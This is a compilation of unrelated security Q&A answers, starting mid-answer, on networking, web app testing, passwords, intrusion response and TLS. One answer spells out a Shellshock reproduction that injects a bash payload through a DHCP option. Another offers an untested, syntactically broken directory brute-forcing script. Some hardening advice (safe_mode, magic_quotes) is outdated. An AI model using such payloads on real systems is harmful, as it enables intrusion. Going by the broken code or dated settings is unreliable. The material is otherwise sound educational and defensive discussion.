The disadvantages that keep it being used more universally are that it ideally requires a pad of infinite length (to handle any number of messages of any length), and there's a large possibility of offset error; someone can miss some or all of a message sent by the other person, so one person has crossed off fewer numbers on their pad, resulting in all further messages between the two parties being indecipherable and no real way to recover without exchanging a new pad. In your case, these are moot, but pretty much every other cipher system invented in the last 100 years has attempted to mitigate these disadvantages (primarily the infinite-length key) while trading as little as possible of the ideal security of the system.


VLAN for every single computer will be a headache :-)

I believe you need PVLAN not VLAN, it will isolate layer 2 and interfaces will not be able to communicate with each other (except uplink & trunk ports of course). Could you please review following links, if you need more specific reference, let me know please.

https://www.juniper.net/documentation/en_US/junos/topics/topic-map/private-vlans.html
https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SXF/native/configuration/guide/swcg/pvlans.pdf

From the Juniper's website

  Private VLANs (PVLANs) take this concept a step further by limiting communication within a VLAN. PVLANs accomplish this by restricting traffic flows through their member switch ports (which are called private ports) so that these ports communicate only with a specified uplink trunk port or with specified ports within the same VLAN.

If you have available resource on your devices, I believe this will not effect performance significantly.

As the last words, yes isolation is a important topic but end point security have  many todos so please be sure you considered your antivirus policy, patch management, account permission hardenings, doormant user reviews, etc. :-) If you don't have end point protection solution (for example), eventually this clients will be able to access to somewhere. You will isolate this client computers to communicate with each other but eventually they will talk with printer server or web server... :-)


Nmap is "smart enough" to recognize SSL encapsulation. In this case, it marks the port as having an SSL tunnel, then on subsequent rounds of version detection it establishes the tunnel, then sends the same probes that would be sent to the plaintext service.

You could see this in action by using stunnel to convert some other service to SSL-tunneled, then scan it with Nmap while running a packet sniffer on the loopback adapter of the target machine. You would see that the traffic looks the same as Nmap probing an unencrypted service.


Is it secure to have public access to the file on S3 with `secret` url?

If it's intended to be a private file - it is not a good idea to leave it open to unauthenticated public access.

While the design of the public URL generation itself may make it impractical to discover it, depending on how you share it with your target audience, the links could be shortened - and the shortened links could be discovered much more easily not only through bruteforcing but also through insecure methods of sharing.

There was a research done less than a year ago (I need to look it up again for references) - where researchers found that bruteforced shortened links often resulted in files of this nature - open for unauthenticated public access, depending on obscurity.


Why does IE11 refuse to enable back navigation caching for HTTPS?

The primary reason for not caching pages is if the page contains sensitive information, and that information might then be accessible to anyone using the computer.  Good examples include banking details, medical records, or passwords.  A public computer or a computer that falls into the wrong persons hands could then gain access to secret information through the cached pages.

Furthermore, there's specific requirements for things like HIPPA compliance in the US, where medical records can't be stored in unencrypted form.  This creates a problem when creating web applications if the web application caches pages.

Doing this for SSL is likely just a guess that the page contains sensitive information.  A better design would be to obey a header on the page that directs that the page not be cached.


There are two main types of honeypots:

strong interaction: made to observe and learn about the hacker methods
weak interaction: made to detect an intruder

You seem to need only the second one: be able to make an attacker target your honeypot first so you can block it before he starts to attack your real assets.
In this case, your honeypot does not really need to mimic a real service. You could monitor the network interface and block any IP that connects to it, considering that your other machine a real client does not have any reason to connect.
You can make it an interesting target by publishing a DNS record for it in the alternative name of a certificate on your website, for example.
Here is an example of how simple the code can be: https://github.com/astar-security/Honeyris


Web App Pentesting: When enumerating website directories and files, how to tell if HTTP 200 is a valid page, or a failure page?

Web Applications and HTTP Status Codes

If it's returning 200 on both an unauthorized page (302 Redirects to 200 login page), and an authorized page (discovered authorized page), there are some things you can do:

You can look for what happens on a successful login. Make a fake account, log in. See what does not get included on the real page, and what doesn't. That how you'll find your unique string.

Keep in mind: if there is a WAF or something, it could just start redirecting all of your incoming requests to 3xx/4xx, whether it's for valid or invalid requests.

Parse the HTTP response for HTML code or a string that would not appear on the login page, OR a string that ONLY appears on the Login page.

For example, the string "Unauthorized," or "Please Log In" could appear. You would want to exclude responses with those strings.

Both can be done using Python, or any scripting/programming language you want to use, including bash. Bash will, however, be much slower.

Could you provide an example please?

Sure. See below.

1. Using Python

You will have to edit this. It's quick example code.

import pycurl
import urllib
import sys
from StringIO import StringIO

c = pycurl.Curl()
html = StringIO()
c.setopt(pycurl.WRITEFUNCTION, html.write)
c.setopt(c.VERBOSE, 0)

def send_req(url):
    field = urllib.urlencode(payload)
    c.setopt(c.URL, url)
    c.setopt(c.VERBOSE, 0)
    c.perform()
    if "successful non-login-page string to search for" in html.getvalue():
        html = StringIO() # Reset
        return True
    return False

with open("dir-or-file-list.txt") as f:
    for line in f:
        if send_req("http://haxlogin.page/" + line + ") == True:
            print "[!] Found a valid page: %s" % line

I don't have time to check if this Python works, it's just a general example on how you could make it work with Python, so you'll need to edit it.

2. Using Burp Suite Pro

With Burp Intruder, on the attack dialog, you can use a filter. Imagine 2xx returns "Unauthorized" as the unique code/string. You will want to exclude "Unauthorized" from the search like so:

Filter:

Filter by search term "Unauthorized", negative search
Filter by status code: 2xx [success]

3. Using OWASP Dirbuster

Options -> Advanced Options -> Scan Options -> Fail Case String -> Enter a string that appears only on the login page

302 Redirects

Keep in mind: many applications perform a 302 redirect after posting something successfully.

That doesn't necessarily mean a 302 redirect is bad, or that you didn't find anything. Use curl -L to follow the redirect and see where that gets you.

You will likely also want to check the contents of the redirected page so you don't miss anything.


Unable to upload a file on xss vulnerable page

What if, I inject this script in a Page which is vulnerable to Xss?

That's not how it works. XSS means that you inject JavaScript code, not PHP code. If you would inject PHP code, and it would execute, it would be code execution, not XSS.
XSS is a vulnerability that happens client-side. It allows you to steal data that is known to the users browser - eg cookies -, to perform CSRF and thus do anything the victim can do, and so on. Everything a website can do with JavaScript, you can do with XSS.
But you cannot change what happens server-side via XSS.
Of course, if the server does provide an image upload functionality, and it is vulnerable to XSS, you could upload a file via XSS, as you can send requests to the server via JavaScript. But in that case you do not change how the server works. You could just as well upload a file using a browser. The advantage here is that you may get someone else with more privileges to upload a file for you via XSS, via the already existing upload functionality.


Should we make extra effort at preventing replay attack for HTTPS enabled web application?

TLS  usually reliably prevents replay at the TLS level. The exception is the TLS 1.3 0-RTT handshake which should therefore not be used for requests where replaying is a problem (i.e. usually POST, requests with parameters...) - see Introducing Zero Round Trip Time Resumption (0-RTT) for more information.

But this is only relevant for replay of the exact encrypted bytes, i.e. some attacker sniffing on the network, capturing the traffic and replaying it. TLS does not prevent a replay at the application level, like someone resubmitting the same form again, reloading the web page ... If this is a problem for your specific use case you need to handle it at the application level no matter if you use HTTPS or plain HTTP.


In order to reproduce this vulnerability on *nix systems follow these steps:

Install dnsmasq. On Ubuntu machine it can be done by running following command:

sudo apt-get install dnsmasq

Add following lines to /etc/dnsmasq.conf configuration file:

interface="iface_server"

dhcp-range="ip_start","ip_end",12h

dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/

The vulnerable code will be inserted in dhcp-option field of the header.

Where  is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.
On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.

Following lines must be in the file:

auto "iface_client"

iface "iface_client" inet dhcp

On vulnerable machine enter following command:

sudo ifdown "iface_client" && sudo ifup "iface_client"

Where iface_client is network interface DHCP client will acquire IP address for.

Note that iface_server and iface_client must be connected to the same network.


How is browsing from a virtual machine/virtual box preventing fingerprinting or tracking?

User tracking is typically done at the level of the browser and not the OS. Insofar it will not help to use a browser in a virtual machine, as long as it is always the same browser.


What is your experience level thus far?  What sort of IT Security role are you looking to get into?  Generally, you're going to have some level of expertise in one or more of the common domains.  System Administration and Network Administration are probably two of the most common entry routes.

That said, you shouldn't be looking to shortcut the game.  If you're going to keep your credibility while talking security principles and best practices with your peers, you definitely have to know what you are talking about.

If you don't have any experience, then I would say if you could get a junior network or system admin job straight out of the gate, you are probably doing VERY well and/or know someone.  And you can start to pickup what you need to move forward.  A lot of the folks I know, myself included had to start out in desktop support or helpdesk, that's not bad either.


Expert quote on entropy for uncrackable password

There's a quote for you in this crypto.SE answer, by Bruce Schneier in Applied Cryptography (1996), pp. 157–8.

You can also find Bruce Schneier citing himself in his blog (2009), if you want an online citation.

Here is the full quote, in case of the links breaking:

  One of the consequences of the second law of thermodynamics is that a
  certain amount of energy is necessary to represent information. To
  record a single bit by changing the state of a system requires an
  amount of energy no less than kT, where T is the absolute temperature
  of the system and k is the Boltzman constant. (Stick with me; the
  physics lesson is almost over.)

  Given that k = 1.38×10-16erg/°Kelvin,
  and that the ambient temperature of the universe is 3.2°Kelvin, an ideal
  computer running at 3.2°K would consume 4.4×10-16 ergs every time it
  set or cleared a bit. To run a computer any colder than the cosmic
  background radiation would require extra energy to run a heat pump.

  Now, the annual energy output of our sun is about 1.21×1041 ergs. This
  is enough to power about
  2.7×1056 single bit changes on our ideal computer; enough state changes to put a 187-bit counter through all its values. If we built a
  Dyson sphere around the sun and captured all of its energy for 32
  years, without any loss, we could power a computer to count up to
  2192. Of course, it wouldn’t have the energy left over to perform any useful calculations with this counter.

  But that’s just one star, and a
  measly one at that. A typical supernova releases something like 1051
  ergs. (About a hundred times as much energy would be released in the
  form of neutrinos, but let them go for now.) If all of this energy
  could be channeled into a single orgy of computation, a 219-bit
  counter could be cycled through all of its states.

  These numbers have
  nothing to do with the technology of the devices; they are the
  maximums that thermodynamics will allow. And they strongly imply that
  brute-force attacks against 256-bit keys will be infeasible until
  computers are built from something other than matter and occupy
  something other than space.

Update: If you want a citation to assess the strength of a randomly generated password, you can use this website that is regularly updated with recommendations made by different institutes. A random password is equivalent to a symmetric key, so this is the value you are looking for. (Here is a wayback machine link, if this website were to close.)


What attacks are possible if you can scrape a list of users?

There are a few ways this could be an issue:

Considering some of the fallout of the Ashley Madison hack, being able to confirm whether or not a person has an account on a given site can be of value. In the case of this hack (per the Wikipedia article):

  Following the hack, communities of internet vigilantes began combing through to find famous individuals, who they planned to publicly humiliate.

On a similar note, attacks like that on human rights activists, or even watering hole attacks can be better targeted if you are able to confirm (or not) that they have accounts.
Phishing (and in specific, spear/whale phishing) can be made more effective if you can identify a good source to spoof. In that sense, if you can confirm a user has an account on a given site, then you are able to increase your chance of successful compromise (tangentially related).

Possibly not what you had in mind, but I would also recommend you consider the methodology Brian Krebs uses in his investigations: he has been able to draw conclusive evidence about criminal hacking based on being able to tie people to online handles. This isn't an 'attack', but it can result in DoS'ing individuals for some time.

I suspect the case most relevant to your question is being able to confirm whether a site is worth compromising in order to get to its users.

Notably, I suspect that considering that particular vector might lead to some specific design considerations, such as having your 'Reset Password' return a message akin to "Request received", as opposed to "Email sent".


How to protect my code from “insider” threats when hiring my first employee?

For the most part this is not a technical problem but a human problem. So while technology has a role to play it has limits.
If the employee will be working from home supervision is more difficult. If you'll be monitoring his/her activity you don't want to be in breach of applicable privacy laws.
The computer has to be secured obviously but the rest of the environment is important too. If you have a corporate LAN there should be adequate protections like an IDS/firewall. But the equipment is often useless without somebody keeping an eye on the logs and the alerts.
Since you mentioned Visual Studio, the developer may need to be at least a local admin to work in optimal conditions. If you cripple their environment they may be tempted and even forced to find workarounds and defeat your security measures which is what you want to avoid.
I'm afraid we all have to trust other people and take risks. The more you monitor your employees, the more you make it obvious to them that you don't trust them and make them feel untrustworthy. At some point the surveillance effort becomes counter-productive because you frustrate and demotivate them. They may become less productive, less loyal.
Security training may be beneficial too. The employee could be honest and acting in good faith but vulnerable to social engineering, and unwittingly jeopardize the company and its assets. Naïveté can be as dangerous as malicious intent. I would say that many developers lack cybersecurity awareness.
Perhaps you should order a penetration test against your company and learn from it. Thus your security posture will improve and you'll be better equipped to fend off attacks.
Employees are often the weakest link but you should also consider the threat of hackers and unethical competitors. In other words don't focus too much on your employees, but develop a 360° security approach for your company.
Physical security is important too. A lost laptop should be no big deal if the hard drive is encrypted and has a strong password. But your backups should be in a safe place. Consider the risk of burglary.
Yes backups are extremely important. Make sure you have a solid backup plan in place, test it from time. Prepare a disaster recovery plan. What would happen if your office burns with all your computer equipment ? You need to protect your source code but also plan for business continuity. Hint: insurance.
If you have valuable IP you could consider applying for patents. Again, this is a lawyer's job here.
Probably you can find insurance to cover the risk. The question is whether it's worth paying for a low risk.
I would also offer shares or some equity in the company. Then your employees have less incentive to go rogue and sabotage your enterprise.
To sum up: there are so many possible risks, I think you are putting too much emphasis on the insider threat. You are more likely to get hacked, than sack someone for misconduct.
Your employees must be your allies and considered as such - not as potential foes.


what to do after suspected intrusion on hobby webserver

PHP:

allow_url_fopen needs to be Off. I think this is how you got owned. A big mistake!
display_errors needs to be Off. I use these all of the time to find path disclosures.
file_uploads needs to be Off. This could have been another way you got owned.
expose_php needs to be Off
safe_mode needs to be On
magic_quotes_gpc should probably be set to On

These are severe problems. You were very likely hit by an LFI/RFI botnet. You will need to install a new server, but DO NOT COPY any of the code, data from the database, or any flat files (and do not reuse any passwords -- they are all suspect at this point! You have a responsibility to change all of your passwords and tell your users to do the same).

Let me remind you of the seriousness of this attack. Any of the PHP code or other content on your server can (and probably does) contain other backdoors. If you did not have file integrity monitoring in place before this incident, then you will have to build a new server without this PHP code and content. You can't just copy it over -- you will have to manually re-create all of it.

Secondly, you cannot trust the data in the database if you use one, such as MySQL. You can't copy the MySQL data files or even utilize the same data records, columns, or tables to a new machine. You should consider all of this data as having the capability to take over any new machine its put on -- and to send malware to anyone visiting any website connected to this database or that uses any of the data in this database.

Lastly, all flat files also cannot be trusted -- including important ones like your /etc/passwd and /etc/shadow files. You can't re-use any of this data and all of the passwords are suspect. The passwords in your databases are also suspect.

If anyone has ever SSH'd from this machine, consider those remote accounts compromised, as well. If there is local connectivity on a LAN to any machines -- consider those machines as compromised, as well. Any passwords in any PHP files that connect to other services (such as external databases) should also be considered compromised. Everything will need to be reconstituted. You cannot restore from backups!

You are in very serious trouble and will likely need to hire outside help!


How to bypass sanitization of < while exploiting an XSS vulnerability?

The approach for evading a filter, is completely dependent upon the filter(s) that are being used and which type of XSS scripting attack is being performed.

According to OWASP, "Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side"

Input filtering is not be enough to prevent XSS, and here is a list of tests to run to see if filtering is broken.


Assuming absolutely no quotas are enabled, not even the default ones in many filesystems that give root a little more free space than other users, a malicious process could write to the disk until it is completely full. This would prevent any other program, even privileged daemons, from writing to the disk. This could lead to a denial-of-service condition and may interfere with important tasks:

Passwords may fail to change, as it often involves writing a temporary file.
Logs may stop being written, allowing one to attack the system without leaving traces.
Software updates may fail, leaving outdated and exploitable software on the system.


Where can I find a snort signature for detecting slowhttp DoS attack from Slowloris tool

slowloris don't finish web request header.

pcre:!"/\x0D\x0A\x0D\x0A$/H"; will detect web request not ending with 0D0A0D0A

Or you can also use /D that Match unnormalized HTTP request or HTTP response header.

But i'm not sure this would work.:) In fact, i think it is better to monitor changes in session volume than pattern matching, if you want to detect like slowloris.


Java SecureRandom generate secure random number

With the first line, you let the JVM use the "secure random" implementation which is registered as default implementation in that JVM, whereas the second line forces the use of a specific implementation.

It is recommended to use the default (new SecureRandom()) because a specific Java-compatible platform could have a dedicated provider which is "better" (e.g. if the platform has a hardware RNG, the JVM might have been configured to use it with a specific implementation of the SecureRandomSpi interface, which you get by selecting the "default provider" but not by enforcing the use of "SHA1PRNG").


Is there a security advantage or risk in removing disabled user accounts?

In general, it is always best to reduce your attack surface. No system is ever perfect and your deactivation protocol will be no exception due to both programmatic and potential human error.

Risk 1: Let's say all your terminated employees accounts have been properly de-activated, for example via altering their role in the employee table in the database (or however they are stored). In this hypothetical scenario your administrator account has been compromised. A smart attacker may use the administrator account to re-enable a past terminated employee's account and use that account to conduct malicious activity on the system. By doing so, they are less likely to be discovered by intrusion detection systems (i.e. admin always logged in from Texas, USA but all of a sudden admin is in Brazil?). This could increase the attack surface and potentially give the attacker more power. Never a good thing.

Risk 2: Human error exists. What if one day you accidentally de-activate a still valid employees account and type Alex instead of Alexander when you wish to re-activate and now re-activated a terminated employees account? Or maybe you did not even mean to re-activate an account but one day when your computer was frozen and you were angrily spamming your mouse clicking at anything for a response, you clicked the reactivate flag?

Both cases are unlikely but why take the risk?

Unless your system has the need for a sophisticated audit trail that relies on still existent accounts in the system to work (i.e. does more than just print name of user and action to log but rather still actively accesses users info), there is no good reason to leave this bloat data in your system.

I always check after I leave a company (while working as a co-op in the past I frequently spent spurts of time at various companies) if I can still login to my accounts and more often than not, one way or another, I could.

Always err on the side of cyber-safety.


It doesn't matter how strong your password hashing algorithm is (well, it matters. But not much) when the password is stupidly weak.

Common passwords like password123 or ilovehowmileycyrustwerks will fall quickly to dictionary attacks regardless.


Generate user a password instead of asking for one?

Generating passwords for user means that you will get good passwords. However, security is an all-encompassing thing; you also need the users to remember the passwords, and not store them insecurely (the traditional stick-up note under the keyboard), and, generally speaking, you need the user to cooperate. There is little worse that you can do than turning the user into an enemy.

Therefore, a good thing to do is to provide an optional password generator: a button which the user can click, to obtain a strong, randomly generated password, which they can use. But do not enforce it: otherwise, users will become hostile, and hostile users are very creative when it comes to working around security features.

There are a few gotchas to be mindful of, when generating user passwords:

Don't overdo it. We know that your password generator can produce passwords with 37 random signs. But you really really need the users to accept the passwords.
Have the user type the password. Passwords are remembered with the fingers. If the user can just select the password with a button, or copy-and-paste it, then he will enter it at registration time without typing it, and 90 seconds later he will have forgotten it entirely. Forgotten passwords are extra helpdesk time. Preventing copy-and-paste means that the password will have to be shown on the screen as a collection of pictures, not selectable text.
Beware of shoulder surfing. If the user sees the generated password, then the password in displayed on the screen. In many situations (in particular work-related environments), the user cannot practically prevent colleagues with sneaky eyes from taking the occasional peek. This is the reason why password-entry fields are obscured, and the same reason applies here.


Sent Rental Application Via Email with No Response... Is My Information in Jeopardy?

What you can do now

Many characteristics of houses in the US (I am assuming you live in the US) are a matter of public record. This includes ownership history. These records can can be consulted through the county recorder/county tax assessor's office. Many have a website you can use and offer records dating back to the sixties. I am not sure whether such inquiries come at a fee, but it stands to reason. Example here.
You could attempt to validate that the individual you dealt with actually owns the property.

What you could've done

Technical considerations:

From a technical standpoint, and realizing that most people outside this industry don't care about security of information in transit, a good idea is often to ask to share the information through the same public email service. Ideally this service is a reputable one. Take a look at this previous answer regarding exchanges between gmail accounts:

Is gmail-to-gmail still insecure? Why?

Make sure to zip your sensitive data with an application that has a respectable implementation of crypto, such as SecureZip and send the password(a reasonably random one) to said zip file through a different channel, like the phone.

Non-technical considerations:

Perform the above mentioned validation before the fact.

Realty agencies exist for a good reason. Make sure to conduct business through an experienced and recommended realtor that has a reputation to protect. This will also come to the rescue, should issues or misunderstandings arise during the life of your lease, saving you a lot of time and money.


How do big companies ensure that other people don't register a new top level domain with their name?

The "big companies" would work with the Trademark Clearinghouse which exists for exactly this purpose. It gives trademark owners earlier ("sunrise") access to new domains and alerts them when someone tries to register a domain matching their trademark. See also the ICANN page on this topic.


What are the most effective methods for getting security funding within an organization?

Compliance and regulations which are show stoppers to a business operation.

Past incidents of security issues.


Depending on the browser you're using, you may be falling victim to preloaded HSTS lists - Facebook and other well known sites use certificate pinning which is built into the browser (see Chrome source - the same list is used by Firefox) and won't load if the certificate signer doesn't match the expected one.

In order to defeat that, you would need to get a certificate signed by one of the CAs referenced in that file under Facebook - "SymantecClass3EVG3", "DigiCertECCSecureServerCA", "DigiCertEVRoot", or "FacebookBackup". You'd need to get an EV certificate based on the names, in order to have the right CA chain, which you shouldn't be able to do, unless you are actually a registered company called Facebook. It's almost exactly what it's designed to protect against.

You would probably be able to spoof a site which isn't on the HSTS preload lists with the settings you have.


How to block the websites on client machines

The technical solution is to monitor access and block new offending sites as they appear.

This isn't a technical problem, it's a policy problem. You cannot possibly block every proxy out there, so you must stop the problem at its source - the employees. You need them to understand why you're blocking those sites, and why they should adhere to your policies.

First, you need to identify what your policy is, and have your employees sign a copy. An internet policy at a workplace can be really easy to create. Ours looks something like this:

  Whilst at work, we expect you to work. Your work will require access to the internet. We trust you to understand that, whilst browsing social networking sites all day is tempting, it's counter-productive. Furthermore, there are certain types of content and activity that are not appropriate for a work environment. As such, this policy aims to provide a basic set of guidelines around internet access at work.

  As part of this policy, we expect you to agree to the following terms:

  Your internet activity at work may be monitored and logged, in order to facilitate investigation of any inappropriate usage.
  You should use internet access for work purposes, with personal use (Facebook, Twitter, etc.) kept to a minimum.
  You must not abuse your privilege of internet access. This includes browsing pornography and other abhorrent materials, downloading files from file sharing networks, or any other activity that may cause damage or degradation to our network.
  Your activity on social media sites is your own, and we respect that. However, you agree that, as an employee, your behaviour reflects on the company. As such, you should avoid posting content that is likely to damage the reputation of the company.
  You must not distribute any of the company's intellectual property via the internet, in accordance with the non-disclosure agreement you signed when joining the company.
  You must adhere to the attached security policy.

  Breach of these terms is grounds for disciplinary action, or, in severe cases, dismissal.

  We provide the following guarantees:

  All logs will be safely stored in accordance with the Data Protection Act 1998.
  Upon termination of your work contract with the company, all logs related to internet activity on your account will be destroyed.
  We shall attempt to make access to the internet available at all times, at a reasonable speed.
  We shall make appropriate provisions to ensure that the network is secure and functional.

  In order to fulfil our guarantees, we need our employees to adhere to this policy in its entirety. Should you have any questions about this policy, please speak to your line manager.

  This document forms a binding contract with between you and the company.

  Name (print): __________________________________________________________
  Signature:    __________________________________________________________
  Date:         ____ / ____ / ________

The goal is to make it clear, short, and informative. Make sure they understand exactly why the policy is in place:

To make sure people are actually doing the work you pay them to do.
To help ensure that that network security is maintained.
To make sure that the network access is fast for those who need it.

Once you've got a policy in place, you must enforce it. Penalise employees that violate the internet policy, and fire those who do it repeatedly.


Hiding existing windows 7 and loading decoy windows 7 instead

You could use TrueCrypt with a hidden volume which provides you with “plausible deniability” If you would be forced to unlock your drive, you can enter the password to the "decoy" operating system. Using a VM is optional.

The difference between a standard TrueCrypt volume and a TrueCrypt volume after adding a hidden volume.

You can create this volume by selecting the option "Hidden TrueCrypt volume" in the TrueCrypt Volume Creation Wizard.

A lot of websites claim that TrueCrypt is no longer secure, however, I have yet to see someone break a fully encrypted disk.

Also recent documents reveal that the NSA can't break TrueCrypt volumes, assuming strong passwords are used.

TrueCrypt can be download here as the original website no longer offers it.


It is not possible with most antiviruses, the reason being that it would be "penny-wise, but pound-foolish".

Most of the resources employed by the antivirus are spent in opening files and reading them (uncompressing, etc.). More often than not, interpreting them from the various executable formats.

It is possible - not in all antiviruses - to reduce time by not scanning classes of objects (Office documents for macros, inside ZIP files, inside email archives, etc.).

But normally an antivirus uses a complicated and optimized "tree" or state machine to scan for viruses. It is not, in other words, something like

foreach signature in TenThousandSignatures do
    if filedata contains signature then
        call alarm
    end
end

which would benefit from replacing TenThousandSignatures with FiveMostProbableSignatures.

To be able to only scan for a single virus, you would need to have an optimized FSM for that one virus, and therefore one FSM for each virus you might want to choose. This would require, first, supplying a lot of FSM packages to the antivirus; and then when you wanted to scan for all viruses, or most of them, the time would be the sum of each time, since all those FSM's would not be integrated in a single one, and would need to run independently, their run time or resource requirements adding up.

That said, it is often done that antiviruses have several FSM packages and you can select the one you wish to employ: usually viruses, malware, adware, and PUA (Potentially Unwanted Applications) / PHA (Potentially Harmful Applications), such as patch droppers, cracks, hacking tools, password finders etc.. . Also, for convenience, you might get a "full database" FSM each first of the month, then the signature updates would be supplied daily as an additional, but much smaller, update package.

Also, some antiviruses use several strategies to scan for different virus families or technologies (polymorphic virus, heuristic scans, etc.), and you might be able to disable the strategies you aren't interested in. Each being independent of the others, the times there add up linearly, so deactivating undesired modules makes sense.

In such cases, the scan time is usually proportional to the number of FSM packages or scanning modules you activate (and, less clearly, proportional to the size/architecture of each).

Finally, there exist some targeted antiviruses that will only scan for their designated target, a single virus or a single virus family. I think ESET used to roll out some "quick response" tailored virus disinfectors for specific, "popular" viruses. Don't know if they still do that.


multiple hash values in a single malware file

If you run a given hash algorithm across a given file you will always get a given value as a result.

The only way you can get multiple hash values for a given file is by using a different algorithm (SHA-2 instead of MD5 for example)

It is common for malware to attempt to avoid detection by adding arbitrary data to the end of copies, making the hash of each copy unique. But note that in this case each copy of the malware will still only have one hash.


What are the differences between "identifying threats and vulnerabilities" and "risk management"?

You've made a common mistake in risk management: threats and vulnerabilities are not risks.
The common (and debated) risk calculations are expressed as some form of:
Risk = likelihood x impact
Risk = (threat / vulnerability) x possibility of occurrence x impact
Risk = Threat capability x Vulnerability x consequence

Risk includes a consequence and a likelihood for that consequence to materialise.
So, the steps are in the correct order: identify threats and vulnerabilities (Orient), then determine the likelihood and impact of those threats acting against those vulnerabilities (Risk Assessment).

There's a hidden meaning in the wording in that list. "Orient" is a subtle reference to the OODA Loop. The OODA Loop is not often overtly referenced in risk management because, I think, it would be too difficult to explain while also trying to explain risk.
However, anyone dealing with risk is well-served to get to know OODA on a deep level. Once you understand OODA, then the NIST steps make so much more sense.


TLSv1 failure after receiving server certificate

There are many reasons why a TLS connection would fail other than Trust. From the screenshot you provided, it is not obvious that TLS negotiation failure is caused by "my machine is not accepting the server certificate". To determine exact trust issue you need to look into alerts (SSL Alert Messages) and see if it states bad certificate (code 42), unsupported certificate (43), certificate revoked (44), certificate expired (45), or certificate unknown (46). In Wireshark, this would look like Alert (Level: Fatal, Description: Bad Certificate).

Specifically, looking at the packet capture, the last message is Server Hello, Certificate, _Certificate Request_, Server Hello Done. This tells me that the server is configured to request mutual authentication. Therefore, the next expected response is Certificate Message from the client followed by Certificate Verify. I do not see that in your screenshot. Alternatively, Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message as some clients are configured to ignore mutual authentication and server could be configured to allow such behavior.

I think the likely cause of handshake failure here is that your client does not support/is not configured for mutual certificate-based authentication.